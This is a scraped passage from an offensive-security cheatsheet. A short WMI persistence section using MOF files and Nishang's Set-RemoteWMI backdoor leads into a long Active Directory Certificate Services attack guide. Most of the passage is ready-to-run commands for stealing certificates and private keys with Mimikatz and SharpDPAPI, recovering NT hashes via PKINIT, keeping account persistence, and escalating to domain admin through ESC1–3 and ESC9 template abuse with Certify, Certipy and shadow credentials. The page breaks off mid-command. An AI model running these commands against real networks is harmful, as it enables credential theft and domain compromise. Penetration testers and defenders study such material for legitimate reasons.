qZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJTYW1lJTIwcHJpbmNpcGUlMjBhcyUyMGFib3ZlJTJDJTIwYnV0JTIwbW9yZSUyMG5vaXN5JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyTmVlZCUyMHRvJTIwY29tcGlsZSUyMHRoZSUyMGZpbGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" id="bkmrk-mof-files-can-be-use">
<div>
<div>
<div>
<ul class="list-20526648" data-key="320d0d3cdb7f4a22a7580fb71029fe97"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="c052e4613e5c477282b8bc4da0bcb3d0"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="f9df02b94e6d4b00bd4c57fe7a0247c5">MOF Files can be used for persistence</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="3657040922a94598bdb87318ae66bd0c"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c2fdad49617b434496c3e7618c50117a">Same principe as above, but more noisy</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="ae2f96fedded4459a2d234c6ec24df29"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d33496ff4a3f4bf99cf38249e9692e2f">Need to compile the file</span></span></p>
</li>
</ul></div>
</div>
</div>
</div>
<pre id="bkmrk-mofcomp.exe-.%2Ftest.m"><code class="language-Powershell">mofcomp.exe ./test.mof
mofcomp.exe -autorecover ./test.mof
mofcomp.exe -N \\192.168.1.1\test\test.mof</code></pre>
<h4 id="bkmrk-master-script"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1hc3RlciUyMHNjcmlwdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Master script</span></h4>
<p id="bkmrk-abusing-windows-mana" class="reset-3c756112--pageTitle-33dc39a3"><span style="text-decoration: underline;"><strong><a href="https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation" target="_blank" rel="noopener"><span class="text-4505230f--DisplayH900-bfb998fa--textContentFamily-49a318e1">Abusing Windows Managent Instrumentation</span></a></strong></span></p>
<h2 id="bkmrk-security-descriptors" class="reset-3c756112--pageTitle-33dc39a3"><span class="text-4505230f--DisplayH900-bfb998fa--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNlY3VyaXR5JTIwRGVzY3JpcHRvcnMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Security Descriptors</span></span></h2>
<p id="bkmrk-it%27s-possible-to-mod"><span class="text-4505230f--DisplayH900-bfb998fa--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNlY3VyaXR5JTIwRGVzY3JpcHRvcnMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA=="><span data-key="ab21519ea9964ef2b67ad3fd214d07b9">It's possible to modify </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-acls---security-decr" data-key="bbd9d9f87aec4414b29d014a61731294"><span data-key="2ac4ffb03a7e4857aaafa95d385ae835"><span style="text-decoration: underline;"><strong>Security Decriptors</strong></span></span></a><span data-key="aa28f1cddc3b4394be531e9498e7bfd0" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkl0J3MlMjBwb3NzaWJsZSUyMHRvJTIwbW9kaWZ5JTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJpbmxpbmUlMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGluayUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnBhZ2VJRCUyMiUzQSUyMi1NWHFYU3R5S0tLNjlpdlhrY205JTIyJTJDJTIyYW5jaG9yJTIyJTNBJTIyYWNscy1zZWN1cml0eS1kZWNyaXB0b3JzJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJTZWN1cml0eSUyMERlY3JpcHRvcnMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMHdpdGglMjBXTUkuJTIwQWRtaW4lMjByaWdodHMlMjBuZWVkZWQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA=="> with WMI. Admin rights needed</span></span></span></p>
<h3 id="bkmrk-set-security-descrip"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNldCUyMHNlY3VyaXR5JTIwZGVzY3JpcHRvciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Set security descriptor</span></h3>
<p id="bkmrk-set-remotewmi.ps1-fr"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNldCUyMHNlY3VyaXR5JTIwZGVzY3JpcHRvciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1" target="_blank" rel="noopener noreferrer" data-key="36f76ee36c454fc8bf3cfe1d30f34270"><span data-key="022b560c5c7741d6aadb39f3cb74f349"><strong class="bold-3c254bd9" data-slate-leaf="true"><span style="text-decoration: underline;">Set-RemoteWMI.ps1</span></strong></span></a><span data-key="fb4da0f690ac4e86b4b1edabfce59951" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyaHJlZiUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRnNhbXJhdGFzaG9rJTJGbmlzaGFuZyUyRmJsb2IlMkZtYXN0ZXIlMkZCYWNrZG9vcnMlMkZTZXQtUmVtb3RlV01JLnBzMSUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyU2V0LVJlbW90ZVdNSS5wczElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmZyb20lMjBOaXNoYW5nJTIwcGVybWl0cyUyMHVzZXIlMjBvciUyMGdyb3VwJTIwYWNjZXNzJTIwcmlnaHRzJTIwdG8lMjBXTUklMjBuYW1lc3BhY2VzJTJDJTIwdG8lMjBhY2Nlc3MlMjBhcyUyMGFuJTIwYWRtaW5pc3RyYXRvciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"> from Nishang permits user or group access rights to WMI namespaces, to access as an administrator</span></span></p>
<pre id="bkmrk-set-remotewmi--usern"><code class="language-Powershell">Set-RemoteWMI -UserName john -Verbose
Set-RemoteWMI -UserName john -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose</code></pre>
<h4 id="bkmrk-only-one-namespace"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk9ubHklMjBvbmUlMjBuYW1lc3BhY2UlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Only one namespace</span></h4>
<pre id="bkmrk-set-remotewmi--usern-0"><code class="language-Powershell">Set-RemoteWMI -UserName john -namespace 'root\cimv2' -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose</code></pre>
<h4 id="bkmrk-to-remove-the-entrie"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwcmVtb3ZlJTIwdGhlJTIwZW50cmllcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">To remove the entries</span></h4>
<pre id="bkmrk-set-remotewmi--usern-1"><code class="language-Powershell">Set-RemoteWMI -UserName john -Verbose -Remove</code></pre>
<h2 id="bkmrk-references">References</h2>
<ul id="bkmrk-red-teaming-experime"><li>Red Teaming Experiments: <a href="https://www.ired.team/">https://www.ired.team/</a></li>
<li>HackTricks: <a href="https://book.hacktricks.xyz/">https://book.hacktricks.xyz/</a></li>
<li>Pentester Academy courses : <a href="https://www.pentesteracademy.com/">https://www.pentesteracademy.com/</a></li>
</ul>

# Active Directory Certificate Services

It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. 
This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_).

I will try to put as many links as possible at the end of the page to direct to more complete resources.
Many commands are more explained [here](https://www.thehacker.recipes/ad/movement/ad-cs), where I have participate for AD-CS.

## Is there a CA ?

Find the **Cert Publishers** group :

* From UNIX-like systems: `rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"`
* From Windows systems: `net group "Cert Publishers" /domain`

Find the PKI and enumerate the templates and configurations from Linux:

```bash
netexec ldap 'domaincontroller' -d 'contoso' -u 'user' -p 'password' -M adcs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP'
```

Find the CA from Windows:

```powershell
certutil -config - -ping
Certify.exe cas
Certify.exe find
```

Enumerate the HTTP ports on the servers, enumerate the shares to find **CertEnroll**, etc.

## Certificate Theft

### Export user certificates with Crypto APIs - THEFT1

With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if **the private keys are exportable** :

`certmgr.msc -> All Tasks → Export...` to export a password protected .pfx file.

With PowerShell :

```powershell
$mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert cert:\currentuser\my\<CERT_THUMBPRINT> -FilePath ./export.pfx -Password $mypwd

#Or with CertStealer
#List all certs
CertStealer.exe --list

#Export a cert in pfx
CertStealer.exe --export pfx <CERT_THUMBPRINT>
```

If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz :

```batch
mimikatz # 
crypto::capi
privilege::debug
crypto::cng

crypto::certificates /export
```

### Certificate theft via DPAPI - THEFT2 & 3

#### User certificates

With the master key :

```powershell
#With SharpDPAPI
SharpDPAPI.exe certificates /mkfile:key.txt


#With Mimikatz
#Export certificate and its public key to DER
cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\
./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export"
	Key Container  : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab

#Find the master key (test them all until you find the good one)
./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad"
	pUniqueName        : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one
	guidMasterKey      : {f216eabc-73af-45dc-936b-babe7ca8ed05}

#Decrypt the master key
./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit
	key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e
	sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70

#Decrypt the private key
./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\<user_SID>\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit
	Private export : OK - 'dpapi_private_key.pvk'

#Build PFX certificate
openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

With a domain backup key to first decrypt all possible master keys :

```powershell
SharpDPAPI.exe certificates /pvk:key.pvk
```

#### Machine certificates

Same, but in a elevated context :

```powershell
SharpDPAPI.exe certificates /machine
```

To convert a PEM file to a PFX :

```bash
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

### Finding certificate files - THEFT4

To search for possibly certificate and key related files with Seatbelt :

```powershell
./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
./Seatbelt.exe InterestingFiles
```

Other interesting extensions :

* `.key` : Contains just the private key
* `.crt/.cer` : Contains just the certificate
* .`csr` : Certificate signing request file. This does not contain certificates or keys
* `.jks/.keystore/.keys` : Java Keystore. May contain certs + private keys used by Java applications

To find what the certificate can do :

```powershell
$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

#Or with a pfx
certutil.exe -dump -v cert.pfx
```

Verify if a found certificate is the CA certificate (you are really lucky) :

```powershell
#Show certificate thumbprint
$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.Thumbprint

#Verify CA thumbprint
certutil.exe find /quiet
```

If they match, it's good.

### NTLM Credential Theft via PKINIT – THEFT5

When a TGT is requested with PKINIT, the **LM:NT hash** is added in the structure `PAC_CREDENTIAL_INFO` for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key.

The structure can be unciphered if a TGS-REQ U2U is realised. It's called **UnPac-the-hash**.

#### Windows

```powershell
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```

#### Linux

```bash
# Authenticate and recover the NT hash
certipy auth -pfx 'user.pfx' -no-save
```

## Account Persistence

### User account persistence - PERSIST1

With a user account control on a domain machine, if a template that allows **Client Authentication** is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password.

#### Windows

```powershell
Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template"
```

#### Linux

If the user's password is known:

```bash
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'
```

### Machine account persistence - PERSIST2

With a machine account control, if a template that allows **Client Authentication** is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same).

#### Windows

```powershell
Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine
```

#### Linux

If the machine's hash is known:

```bash
certipy req -u 'machine@contoso.local' -hashes ':<hash_NT>' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'
```

### Account persistence via Certificate Renewal - PERSIST3

The **renewal period** of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate.

_The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself._

## Domain Privesc

### Template Attacks - ESC1, 2, 3, 9, 10, 13, 14, 15

**In case PKINIT authentication fails with "Object SID mismatch between certificate and user", this means that Strong Certificate Mapping has been enabled. To avoid this error, you have to specify the target user SID in the `req` command, with `-sid 'SID'`with Certipy, and `/sid 'SID'` with Certify.**

[![image-1640805125672.png](https://hideandsec.sh/uploads/images/gallery/2021-12/scaled-1680-/mlK5E1SH1D1CzLOG-image-1640805125672.png)](https://hideandsec.sh/uploads/images/gallery/2021-12/mlK5E1SH1D1CzLOG-image-1640805125672.png)

* **ESC1** : SAN authorized & Low Privileged Users can enroll & Authentication EKU
* **ESC2** : Low Privileged Users can enroll & Any or No EKU
* **ESC3** : Certificate Request Agent EKU & Enrollment agent restrictions are not implemented on the CA
  * A template allows a low-privileged user to use an enrollment agent certificate.
  * Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

#### Template misconfiguration - ESC1, 2 & 3

##### Windows

###### ESC1 & 2
```powershell
# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
```

If **ANY EKU** but no Client Authentication, it can be used as en **ESC3**.

###### ESC2 & 3
```powershell
# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
```

##### Linux

###### ESC1 & 2
```bash
# enumerate and save text, json and bloodhound (original) outputs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

# quickly spot vulnerable elements
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'
```

If **ANY EKU** but no Client Authentication, it can be used as en **ESC3**.

###### ESC2 & 3
```bash
# Request a certificate specifying the Certificate Request Agent EKU
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx'
```

#### Extension misconfiguration - ESC9 & 10

* **ESC9** : No security extension, the certificate attribute `msPKI-Enrollment-Flag` contains the flag `CT_FLAG_NO_SECURITY_EXTENSION`
  * `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag (`0x4`)
  * The template contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
  * The template specifies client authentication
  * `GenericWrite` right against any account A to compromise any account B
* **ESC10** : Weak certificate mapping
  * Case 1 : `StrongCertificateBindingEnforcement` set to `0`, meaning no strong mapping is performed
    * A template that specifiy client authentication is enabled
    * `GenericWrite` right against any account A to compromise any account B
  * Case 2 : `CertificateMappingMethods` is set to `0x4`, meaning no strong mapping is performed and only the UPN will be checked
    * A template that specifiy client authentication is enabled
    * `GenericWrite` right against any account A to compromise any account B without a UPN already set (machine accounts or buit-in Administrator account for example)

##### Windows

###### ESC9

Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value.

```powershell
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request vulnerable certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
